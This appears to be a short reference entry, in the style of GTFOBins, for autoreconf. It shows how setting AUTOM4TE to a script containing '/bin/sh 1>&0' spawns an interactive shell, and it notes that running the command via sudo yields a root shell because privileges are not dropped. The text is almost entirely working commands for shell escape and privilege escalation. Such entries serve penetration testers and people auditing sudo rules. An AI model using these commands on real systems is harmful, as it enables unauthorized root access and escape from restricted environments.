This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
echo '/bin/sh 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
echo AC_INIT >configure.ac
AUTOM4TE=/path/to/temp-file autoreconf
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo '/bin/sh 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
echo AC_INIT >configure.ac
AUTOM4TE=/path/to/temp-file autoreconf